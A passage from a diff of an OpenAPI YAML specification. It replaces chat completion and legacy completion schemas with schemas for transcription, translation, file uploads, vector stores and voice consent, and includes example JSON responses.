- type: boolean
- nullable: true
- default: false
- stop:
- $ref: '#/components/schemas/StopConfiguration'
- logit_bias:
- type: object
- x-oaiTypeLabel: map
- default: null
- nullable: true
- additionalProperties:
- type: integer
- description: |
- Modify the likelihood of specified tokens appearing in the completion.
-
- Accepts a JSON object that maps tokens (specified by their token ID in the
- tokenizer) to an associated bias value from -100 to 100. Mathematically,
- the bias is added to the logits generated by the model prior to sampling.
- The exact effect will vary per model, but values between -1 and 1 should
- decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
- logprobs:
- description: |
- Whether to return log probabilities of the output tokens or not. If true,
- returns the log probabilities of each output token returned in the
- `content` of `message`.
- type: boolean
- default: false
- nullable: true
- max_tokens:
- description: |
- The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the
- chat completion. This value can be used to control
- [costs](https://openai.com/api/pricing/) for text generated via API.
-
- This value is now deprecated in favor of `max_completion_tokens`, and is
- not compatible with [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
- type: integer
- nullable: true
- deprecated: true
- n:
- type: integer
- minimum: 1
- maximum: 128
- default: 1
- example: 1
- nullable: true
- description: How many chat completion choices to generate for each input message. Note that you will be charged based on the number of generated tokens across all of the choices. Keep `n` as `1` to minimize costs.
- prediction:
- nullable: true
- description: |
- Configuration for a [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
- which can greatly improve response times when large parts of the model
- response are known ahead of time. This is most common when you are
- regenerating a file with only minor changes to most of the content.
- anyOf:
- - $ref: '#/components/schemas/PredictionContent'
- discriminator:
- propertyName: type
- seed:
- type: integer
- minimum: -9.223372036854776e18
- maximum: 9.223372036854776e18
- nullable: true
- deprecated: true
- description: |
- This feature is in Beta.
- If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same `seed` and parameters should return the same result.
- Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
- x-oaiMeta:
- beta: true
- stream_options:
- $ref: '#/components/schemas/ChatCompletionStreamOptions'
- tools:
- type: array
- description: |
- A list of tools the model may call. You can provide either
- [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools) or
- [function tools](https://developers.openai.com/api/docs/guides/function-calling).
- items:
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionTool'
- - $ref: '#/components/schemas/CustomToolChatCompletions'
- x-stainless-naming:
- python:
- model_name: chat_completion_tool_union
- param_model_name: chat_completion_tool_union_param
- discriminator:
- propertyName: type
- x-stainless-go-variant-constructor:
- naming: chat_completion_{variant}_tool
- tool_choice:
- $ref: '#/components/schemas/ChatCompletionToolChoiceOption'
- parallel_tool_calls:
- $ref: '#/components/schemas/ParallelToolCalls'
- function_call:
- deprecated: true
- description: |
- Deprecated in favor of `tool_choice`.
-
- Controls which (if any) function is called by the model.
-
- `none` means the model will not call a function and instead generates a
- message.
-
- `auto` means the model can pick between generating a message or calling a
- function.
-
- Specifying a particular function via `{"name": "my_function"}` forces the
- model to call that function.
-
- `none` is the default when no functions are present. `auto` is the default
- if functions are present.
- anyOf:
- - type: string
- description: |
- `none` means the model will not call a function and instead generates a message. `auto` means the model can pick between generating a message or calling a function.
- enum:
- - none
- - auto
- title: function call mode
- - $ref: '#/components/schemas/ChatCompletionFunctionCallOption'
- functions:
- deprecated: true
- description: |
- Deprecated in favor of `tools`.
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ maxItems: 1
+ items:
+ type: string
+ vector_stores:
+ type: array
+ description: |
+ A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this thread. There can be a maximum of 1 vector store attached to the thread.
+ maxItems: 1
+ items:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
+ maxItems: 100000000
+ items:
+ type: string
+ chunking_strategy:
+ type: object
+ description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy.
+ anyOf:
+ - type: object
+ title: Auto Chunking Strategy
+ description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `auto`.
+ enum:
+ - auto
+ x-stainless-const: true
+ required:
+ - type
+ - type: object
+ title: Static Chunking Strategy
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `static`.
+ enum:
+ - static
+ x-stainless-const: true
+ static:
+ type: object
+ additionalProperties: false
+ properties:
+ max_chunk_size_tokens:
+ type: integer
+ minimum: 100
+ maximum: 4096
+ description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
+ chunk_overlap_tokens:
+ type: integer
+ description: |
+ The number of tokens that overlap between chunks. The default value is `400`.
- A list of functions the model may generate JSON inputs for.
- type: array
- minItems: 1
- maxItems: 128
- items:
- $ref: '#/components/schemas/ChatCompletionFunctions'
- required:
- - model
- - messages
- CreateChatCompletionResponse:
+ Note that the overlap must not exceed half of `max_chunk_size_tokens`.
+ required:
+ - max_chunk_size_tokens
+ - chunk_overlap_tokens
+ required:
+ - type
+ - static
+ discriminator:
+ propertyName: type
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ anyOf:
+ - required:
+ - vector_store_ids
+ - required:
+ - vector_stores
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ CreateTranscriptionRequest:
type: object
- description: Represents a chat completion response returned by model, based on the provided input.
+ additionalProperties: false
properties:
- id:
+ file:
+ description: |
+ The audio file object (not file name) to transcribe, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
type: string
- description: A unique identifier for the chat completion.
- choices:
- type: array
- description: A list of chat completion choices. Can be more than one if `n` is greater than 1.
- items:
- type: object
- required:
- - finish_reason
- - index
- - message
- - logprobs
- properties:
- finish_reason:
- type: string
- description: |
- The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
- `length` if the maximum number of tokens specified in the request was reached,
- `content_filter` if content was omitted due to a flag from our content filters,
- `tool_calls` if the model called a tool, or `function_call` (deprecated) if the model called a function.
- Read the [Model Spec](https://model-spec.openai.com/2025-12-18.html) for more.
- enum:
- - stop
- - length
- - tool_calls
- - content_filter
- - function_call
- index:
- type: integer
- description: The index of the choice in the list of choices.
- message:
- $ref: '#/components/schemas/ChatCompletionResponseMessage'
- logprobs:
- anyOf:
- - description: Log probability information for the choice.
- type: object
- properties:
- content:
- anyOf:
- - description: A list of message content tokens with log probability information.
- type: array
- items:
- $ref: '#/components/schemas/ChatCompletionTokenLogprob'
- - type: 'null'
- refusal:
- anyOf:
- - description: A list of message refusal tokens with log probability information.
- type: array
- items:
- $ref: '#/components/schemas/ChatCompletionTokenLogprob'
- - type: 'null'
- required:
- - content
- - refusal
- - type: 'null'
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the chat completion was created.
+ x-oaiTypeLabel: file
+ format: binary
+ x-oaiMeta:
+ exampleFilePath: speech.mp3
model:
+ description: |
+ ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`, `gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1` (which is powered by our open source Whisper V2 model), and `gpt-4o-transcribe-diarize`.
+ example: gpt-4o-transcribe
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - whisper-1
+ - gpt-transcribe
+ - gpt-4o-transcribe
+ - gpt-4o-mini-transcribe
+ - gpt-4o-mini-transcribe-2025-12-15
+ - gpt-4o-transcribe-diarize
+ x-stainless-const: true
+ x-stainless-nominal: false
+ x-oaiTypeLabel: string
+ language:
+ description: |
+ The language of the input audio. Supplying the input language in [ISO-639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) (e.g. `en`) format will improve accuracy and latency.
type: string
- description: The model used for the chat completion.
- metadata:
- $ref: '#/components/schemas/Metadata'
- service_tier:
- $ref: '#/components/schemas/ServiceTier'
- system_fingerprint:
+ languages:
+ description: |
+ Possible languages of the input audio, in [ISO-639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) format. Supported by `gpt-transcribe`.
+ type: array
+ minItems: 1
+ items:
+ type: string
+ keywords:
+ description: |
+ Words or phrases to guide transcription of the input audio. Supported by `gpt-transcribe`.
+ type: array
+ items:
+ type: string
+ prompt:
+ description: |
+ An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should match the audio language. This field is not supported when using `gpt-4o-transcribe-diarize`.
type: string
- deprecated: true
+ response_format:
+ $ref: '#/components/schemas/AudioResponseFormat'
+ temperature:
description: |
- This fingerprint represents the backend configuration that the model runs with.
+ The sampling temperature, between 0 and 1. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. If set to 0, the model will use [log probability](https://en.wikipedia.org/wiki/Log_probability) to automatically increase the temperature until certain thresholds are hit.
+ type: number
+ default: 0
+ include:
+ description: |
+ Additional information to include in the transcription response.
+ `logprobs` will return the log probabilities of the tokens in the
+ response to understand the model's confidence in the transcription.
+ `logprobs` only works with response_format set to `json` and only with
+ the models `gpt-4o-transcribe`, `gpt-4o-mini-transcribe`, and `gpt-4o-mini-transcribe-2025-12-15`. This field is not supported when using `gpt-4o-transcribe-diarize`.
+ type: array
+ items:
+ $ref: '#/components/schemas/TranscriptionInclude'
+ timestamp_granularities:
+ description: |
+ The timestamp granularities to populate for this transcription. `response_format` must be set `verbose_json` to use timestamp granularities. Either or both of these options are supported: `word`, or `segment`. Note: There is no additional latency for segment timestamps, but generating word timestamps incurs additional latency.
+ This option is not available for `gpt-4o-transcribe-diarize`.
+ type: array
+ items:
+ type: string
+ enum:
+ - word
+ - segment
+ default:
+ - segment
+ stream:
+ anyOf:
+ - description: |
+ If set to true, the model response data will be streamed to the client
+ as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
+ See the [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
+ for more information.
- Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
- object:
+ Note: Streaming is not supported for the `whisper-1` model and will be ignored.
+ type: boolean
+ default: false
+ - type: 'null'
+ chunking_strategy:
+ $ref: '#/components/schemas/TranscriptionChunkingStrategy'
+ known_speaker_names:
+ description: |
+ Optional list of speaker names that correspond to the audio samples provided in `known_speaker_references[]`. Each entry should be a short identifier (for example `customer` or `agent`). Up to 4 speakers are supported.
+ type: array
+ maxItems: 4
+ items:
+ type: string
+ known_speaker_references:
+ description: |
+ Optional list of audio samples (as [data URLs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs)) that contain known speaker references matching `known_speaker_names[]`. Each sample must be between 2 and 10 seconds, and can use any of the same input audio formats supported by `file`.
+ type: array
+ maxItems: 4
+ items:
+ type: string
+ required:
+ - file
+ - model
+ CreateTranscriptionResponseDiarizedJson:
+ type: object
+ description: |
+ Represents a diarized transcription response returned by the model, including the combined transcript and speaker-segment annotations.
+ properties:
+ task:
type: string
- description: The object type, which is always `chat.completion`.
+ description: The type of task that was run. Always `transcribe`.
enum:
- - chat.completion
+ - transcribe
x-stainless-const: true
+ duration:
+ type: number
+ format: double
+ description: Duration of the input audio in seconds.
+ text:
+ type: string
+ description: The concatenated transcript text for the entire audio input.
+ segments:
+ type: array
+ description: Segments of the transcript annotated with timestamps and speaker labels.
+ items:
+ $ref: '#/components/schemas/TranscriptionDiarizedSegment'
usage:
- $ref: '#/components/schemas/CompletionUsage'
- moderation:
+ type: object
+ description: Token or duration usage statistics for the request.
+ discriminator:
+ propertyName: type
anyOf:
- - $ref: '#/components/schemas/ChatCompletionModeration'
- description: |
- Moderation results for the request input and generated output, if moderated
- completions were requested.
- - type: 'null'
+ - $ref: '#/components/schemas/TranscriptTextUsageTokens'
+ title: Token Usage
+ - $ref: '#/components/schemas/TranscriptTextUsageDuration'
+ title: Duration Usage
required:
- - choices
- - created
- - id
- - model
- - object
+ - task
+ - duration
+ - text
+ - segments
x-oaiMeta:
- name: The chat completion object
- group: chat
+ name: The transcription object (Diarized JSON)
+ group: audio
example: |
{
- "id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
- "object": "chat.completion",
- "created": 1741570283,
- "model": "gpt-6-astra",
- "choices": [
+ "task": "transcribe",
+ "duration": 42.7,
+ "text": "Agent: Thanks for calling OpenAI support.\nCustomer: Hi, I need help with diarization.",
+ "segments": [
{
- "index": 0,
- "message": {
- "role": "assistant",
- "content": "The image shows a wooden boardwalk path running through a lush green field or meadow. The sky is bright blue with some scattered clouds, giving the scene a serene and peaceful atmosphere. Trees and shrubs are visible in the background.",
- "refusal": null,
- "annotations": []
- },
- "logprobs": null,
- "finish_reason": "stop"
+ "type": "transcript.text.segment",
+ "id": "seg_001",
+ "start": 0.0,
+ "end": 5.2,
+ "text": "Thanks for calling OpenAI support.",
+ "speaker": "agent"
+ },
+ {
+ "type": "transcript.text.segment",
+ "id": "seg_002",
+ "start": 5.2,
+ "end": 12.8,
+ "text": "Hi, I need help with diarization.",
+ "speaker": "A"
}
],
"usage": {
- "prompt_tokens": 1117,
- "completion_tokens": 46,
- "total_tokens": 1163,
- "prompt_tokens_details": {
- "cached_tokens": 0,
- "audio_tokens": 0
- },
- "completion_tokens_details": {
- "reasoning_tokens": 0,
- "audio_tokens": 0,
- "accepted_prediction_tokens": 0,
- "rejected_prediction_tokens": 0
- }
- },
- "service_tier": "default",
- "system_fingerprint": "fp_fc9f1d7035"
+ "type": "duration",
+ "seconds": 43
+ }
}
- CreateChatCompletionStreamResponse:
+ CreateTranscriptionResponseJson:
type: object
- description: |
- Represents a streamed chunk of a chat completion response returned
- by the model, based on the provided input.
- [Learn more](https://developers.openai.com/api/docs/guides/streaming-responses).
+ description: Represents a transcription response returned by model, based on the provided input.
properties:
- id:
+ text:
type: string
- description: A unique identifier for the chat completion. Each chunk has the same ID.
- choices:
+ description: The transcribed text.
+ languages:
type: array
description: |
- A list of chat completion choices. Can contain more than one elements if `n` is greater than 1. Can also be empty for the
- last chunk if you set `stream_options: {"include_usage": true}`.
+ The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
+ items:
+ $ref: '#/components/schemas/TranscriptionLanguage'
+ logprobs:
+ type: array
+ optional: true
+ description: |
+ The log probabilities of the tokens in the transcription. Only returned with the models `gpt-4o-transcribe` and `gpt-4o-mini-transcribe` if `logprobs` is added to the `include` array.
items:
type: object
- required:
- - delta
- - finish_reason
- - index
properties:
- delta:
- $ref: '#/components/schemas/ChatCompletionStreamResponseDelta'
- logprobs:
- description: Log probability information for the choice.
- type: object
- nullable: true
- properties:
- content:
- description: A list of message content tokens with log probability information.
- type: array
- items:
- $ref: '#/components/schemas/ChatCompletionTokenLogprob'
- nullable: true
- refusal:
- description: A list of message refusal tokens with log probability information.
- type: array
- items:
- $ref: '#/components/schemas/ChatCompletionTokenLogprob'
- nullable: true
- required:
- - content
- - refusal
- finish_reason:
+ token:
type: string
- description: |
- The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
- `length` if the maximum number of tokens specified in the request was reached,
- `content_filter` if content was omitted due to a flag from our content filters,
- `tool_calls` if the model called a tool, or `function_call` (deprecated) if the model called a function.
- enum:
- - stop
- - length
- - tool_calls
- - content_filter
- - function_call
- nullable: true
- index:
- type: integer
- description: The index of the choice in the list of choices.
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the chat completion was created. Each chunk has the same timestamp.
- model:
- type: string
- description: The model to generate the completion.
- obfuscation:
- type: string
- description: |
- An obfuscation string added to normalize the size of streamed chunks as a
- mitigation to certain side-channel attacks. The field is included by
- default and omitted when `stream_options.include_obfuscation` is `false`.
- service_tier:
- $ref: '#/components/schemas/ServiceTier'
- system_fingerprint:
+ description: The token in the transcription.
+ logprob:
+ type: number
+ description: The log probability of the token.
+ bytes:
+ type: array
+ items:
+ type: number
+ description: The bytes of the token.
+ usage:
+ type: object
+ description: Token usage statistics for the request.
+ anyOf:
+ - $ref: '#/components/schemas/TranscriptTextUsageTokens'
+ title: Token Usage
+ - $ref: '#/components/schemas/TranscriptTextUsageDuration'
+ title: Duration Usage
+ discriminator:
+ propertyName: type
+ required:
+ - text
+ x-oaiMeta:
+ name: The transcription object (JSON)
+ group: audio
+ example: |
+ {
+ "text": "Imagine the wildest idea that you've ever had, and you're curious about how it might scale to something that's a 100, a 1,000 times bigger. This is a place where you can get to do that.",
+ "usage": {
+ "type": "tokens",
+ "input_tokens": 14,
+ "input_token_details": {
+ "text_tokens": 10,
+ "audio_tokens": 4
+ },
+ "output_tokens": 101,
+ "total_tokens": 115
+ }
+ }
+ CreateTranscriptionResponseStreamEvent:
+ anyOf:
+ - $ref: '#/components/schemas/TranscriptTextSegmentEvent'
+ - $ref: '#/components/schemas/TranscriptTextDeltaEvent'
+ - $ref: '#/components/schemas/TranscriptTextDoneEvent'
+ discriminator:
+ propertyName: type
+ CreateTranscriptionResponseVerboseJson:
+ type: object
+ description: Represents a verbose json transcription response returned by model, based on the provided input.
+ properties:
+ language:
type: string
- deprecated: true
- description: |
- This fingerprint represents the backend configuration that the model runs with.
- Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
- object:
+ description: The language of the input audio.
+ duration:
+ type: number
+ format: double
+ description: The duration of the input audio.
+ text:
type: string
- description: The object type, which is always `chat.completion.chunk`.
- enum:
- - chat.completion.chunk
- x-stainless-const: true
+ description: The transcribed text.
+ words:
+ type: array
+ description: Extracted words and their corresponding timestamps.
+ items:
+ $ref: '#/components/schemas/TranscriptionWord'
+ segments:
+ type: array
+ description: Segments of the transcribed text and their corresponding details.
+ items:
+ $ref: '#/components/schemas/TranscriptionSegment'
usage:
- $ref: '#/components/schemas/CompletionUsage'
- nullable: true
- description: |
- An optional field that will only be present when you set
- `stream_options: {"include_usage": true}` in your request. When present, it
- contains a null value **except for the last chunk** which contains the
- token usage statistics for the entire request.
-
- **NOTE:** If the stream is interrupted or cancelled, you may not
- receive the final usage chunk which contains the total token usage for
- the request.
- moderation:
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionModeration'
- description: |
- Moderation results for the request input and generated output. Present
- on the moderation chunk when moderated completions are requested.
- - type: 'null'
+ $ref: '#/components/schemas/TranscriptTextUsageDuration'
required:
- - choices
- - created
- - id
- - model
- - object
+ - language
+ - duration
+ - text
x-oaiMeta:
- name: The chat completion chunk object
- group: chat
+ name: The transcription object (Verbose JSON)
+ group: audio
example: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
-
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
-
- ....
-
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
- CreateCompletionRequest:
+ {
+ "task": "transcribe",
+ "language": "english",
+ "duration": 8.470000267028809,
+ "text": "The beach was a popular spot on a hot summer day. People were swimming in the ocean, building sandcastles, and playing beach volleyball.",
+ "segments": [
+ {
+ "id": 0,
+ "seek": 0,
+ "start": 0.0,
+ "end": 3.319999933242798,
+ "text": " The beach was a popular spot on a hot summer day.",
+ "tokens": [
+ 50364, 440, 7534, 390, 257, 3743, 4008, 322, 257, 2368, 4266, 786, 13, 50530
+ ],
+ "temperature": 0.0,
+ "avg_logprob": -0.2860786020755768,
+ "compression_ratio": 1.2363636493682861,
+ "no_speech_prob": 0.00985979475080967
+ },
+ ...
+ ],
+ "usage": {
+ "type": "duration",
+ "seconds": 9
+ }
+ }
+ CreateTranslationRequest:
type: object
+ additionalProperties: false
properties:
+ file:
+ description: |
+ The audio file object (not file name) translate, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
+ type: string
+ x-oaiTypeLabel: file
+ format: binary
+ x-oaiMeta:
+ exampleFilePath: speech.mp3
model:
description: |
- ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
+ ID of the model to use. Only `whisper-1` (which is powered by our open source Whisper V2 model) is currently available.
+ example: whisper-1
anyOf:
- type: string
- type: string
enum:
- - gpt-3.5-turbo-instruct
- - davinci-002
- - babbage-002
- title: Preset
+ - whisper-1
+ x-stainless-const: true
x-oaiTypeLabel: string
prompt:
description: |
- The prompt(s) to generate completions for, encoded as a string, array of strings, array of tokens, or array of token arrays.
-
- Note that <|endoftext|> is the document separator that the model sees during training, so if a prompt is not specified the model will generate as if from the beginning of a new document.
- anyOf:
- - type: string
- default: ''
- example: This is a test.
- - type: array
- items:
- type: string
- default: ''
- example: This is a test.
- title: Array of strings
- - type: array
- minItems: 1
- items:
- type: integer
- title: Array of tokens
- - type: array
- minItems: 1
- items:
- type: array
- minItems: 1
- items:
- type: integer
- title: Array of token arrays
- nullable: true
- best_of:
- type: integer
- default: 1
- minimum: 0
- maximum: 20
- nullable: true
+ An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should be in English.
+ type: string
+ response_format:
description: |
- Generates `best_of` completions server-side and returns the "best" (the one with the highest log probability per token). Results cannot be streamed.
-
- When used with `n`, `best_of` controls the number of candidate completions and `n` specifies how many to return – `best_of` must be greater than `n`.
-
- **Note:** Because this parameter generates many completions, it can quickly consume your token quota. Use carefully and ensure that you have reasonable settings for `max_tokens` and `stop`.
- echo:
- type: boolean
- default: false
- nullable: true
+ The format of the output, in one of these options: `json`, `text`, `srt`, `verbose_json`, or `vtt`.
+ type: string
+ enum:
+ - json
+ - text
+ - srt
+ - verbose_json
+ - vtt
+ default: json
+ temperature:
description: |
- Echo back the prompt in addition to the completion
- frequency_penalty:
+ The sampling temperature, between 0 and 1. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. If set to 0, the model will use [log probability](https://en.wikipedia.org/wiki/Log_probability) to automatically increase the temperature until certain thresholds are hit.
type: number
default: 0
- minimum: -2
- maximum: 2
- nullable: true
+ required:
+ - file
+ - model
+ CreateTranslationResponseJson:
+ type: object
+ properties:
+ text:
+ type: string
+ required:
+ - text
+ CreateTranslationResponseVerboseJson:
+ type: object
+ properties:
+ language:
+ type: string
+ description: The language of the output translation (always `english`).
+ duration:
+ type: number
+ format: double
+ description: The duration of the input audio.
+ text:
+ type: string
+ description: The translated text.
+ segments:
+ type: array
+ description: Segments of the translated text and their corresponding details.
+ items:
+ $ref: '#/components/schemas/TranscriptionSegment'
+ required:
+ - language
+ - duration
+ - text
+ CreateUploadRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ filename:
description: |
- Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.
-
- [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
- logit_bias:
- type: object
- x-oaiTypeLabel: map
- default: null
- nullable: true
- additionalProperties:
- type: integer
+ The name of the file to upload.
+ type: string
+ purpose:
description: |
- Modify the likelihood of specified tokens appearing in the completion.
-
- Accepts a JSON object that maps tokens (specified by their token ID in the GPT tokenizer) to an associated bias value from -100 to 100. You can use this [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text to token IDs. Mathematically, the bias is added to the logits generated by the model prior to sampling. The exact effect will vary per model, but values between -1 and 1 should decrease or increase likelihood of selection; values like -100 or 100 should result in a ban or exclusive selection of the relevant token.
+ The intended purpose of the uploaded file.
- As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token from being generated.
- logprobs:
- type: integer
- minimum: 0
- maximum: 5
- default: null
- nullable: true
+ See the [documentation on File
+ purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
+ type: string
+ enum:
+ - assistants
+ - batch
+ - fine-tune
+ - vision
+ bytes:
description: |
- Include the log probabilities on the `logprobs` most likely output tokens, as well the chosen tokens. For example, if `logprobs` is 5, the API will return a list of the 5 most likely tokens. The API will always return the `logprob` of the sampled token, so there may be up to `logprobs+1` elements in the response.
-
- The maximum value for `logprobs` is 5.
- max_tokens:
+ The number of bytes in the file you are uploading.
type: integer
- minimum: 0
- default: 16
- example: 16
- nullable: true
+ mime_type:
description: |
- The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the completion.
+ The MIME type of the file.
- The token count of your prompt plus `max_tokens` cannot exceed the model's context length. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens.
- n:
- type: integer
- minimum: 1
- maximum: 128
- default: 1
- example: 1
- nullable: true
- description: |
- How many completions to generate for each prompt.
- **Note:** Because this parameter generates many completions, it can quickly consume your token quota. Use carefully and ensure that you have reasonable settings for `max_tokens` and `stop`.
- presence_penalty:
- type: number
- default: 0
- minimum: -2
- maximum: 2
- nullable: true
+ This must fall within the supported MIME types for your file purpose. See
+ the supported MIME types for assistants and vision.
+ type: string
+ expires_after:
+ $ref: '#/components/schemas/FileExpirationAfter'
+ required:
+ - filename
+ - purpose
+ - bytes
+ - mime_type
+ CreateVectorStoreFileBatchRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ file_ids:
+ description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files. If `attributes` or `chunking_strategy` are provided, they will be applied to all files in the batch. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `files`.
+ type: array
+ minItems: 1
+ maxItems: 2000
+ items:
+ type: string
+ files:
+ description: A list of objects that each include a `file_id` plus optional `attributes` or `chunking_strategy`. Use this when you need to override metadata for specific files. The global `attributes` or `chunking_strategy` will be ignored and must be specified for each file. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `file_ids`.
+ type: array
+ minItems: 1
+ maxItems: 2000
+ items:
+ $ref: '#/components/schemas/CreateVectorStoreFileRequest'
+ chunking_strategy:
+ $ref: '#/components/schemas/ChunkingStrategyRequestParam'
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
+ CreateVectorStoreFileRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ file_id:
+ description: A [File](https://developers.openai.com/api/reference/resources/files) ID that the vector store should use. Useful for tools like `file_search` that can access files. For multi-file ingestion, we recommend [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create) to minimize per-vector-store write requests.
+ type: string
+ chunking_strategy:
+ $ref: '#/components/schemas/ChunkingStrategyRequestParam'
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
+ required:
+ - file_id
+ CreateVectorStoreRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ file_ids:
+ description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files.
+ type: array
+ maxItems: 500
+ items:
+ type: string
+ name:
+ description: The name of the vector store.
+ type: string
+ description:
+ description: A description for the vector store. Can be used to describe the vector store's purpose.
+ type: string
+ expires_after:
+ $ref: '#/components/schemas/VectorStoreExpirationAfter'
+ chunking_strategy:
+ $ref: '#/components/schemas/ChunkingStrategyRequestParam'
+ description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy. Only applicable if `file_ids` is non-empty.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ CreateVoiceConsentRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ name:
+ type: string
+ description: The label to use for this consent recording.
+ recording:
+ type: string
+ format: binary
+ x-oaiTypeLabel: file
description: |
- Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.
+ The consent audio recording file. Maximum size is 10 MiB.
- [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
- seed:
- type: integer
- format: int64
- nullable: true
+ Supported MIME types:
+ `audio/mpeg`, `audio/wav`, `audio/x-wav`, `audio/ogg`, `audio/aac`, `audio/flac`, `audio/webm`, `audio/mp4`.
+ language:
+ type: string
+ description: The BCP 47 language tag for the consent phrase (for example, `en-US`).
+ required:
+ - name
+ - recording
+ - language
+ CreateVoiceRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ name:
+ type: string
+ description: The name of the new voice.
+ audio_sample:
+ type: string
+ format: binary
+ x-oaiTypeLabel: file
description: |
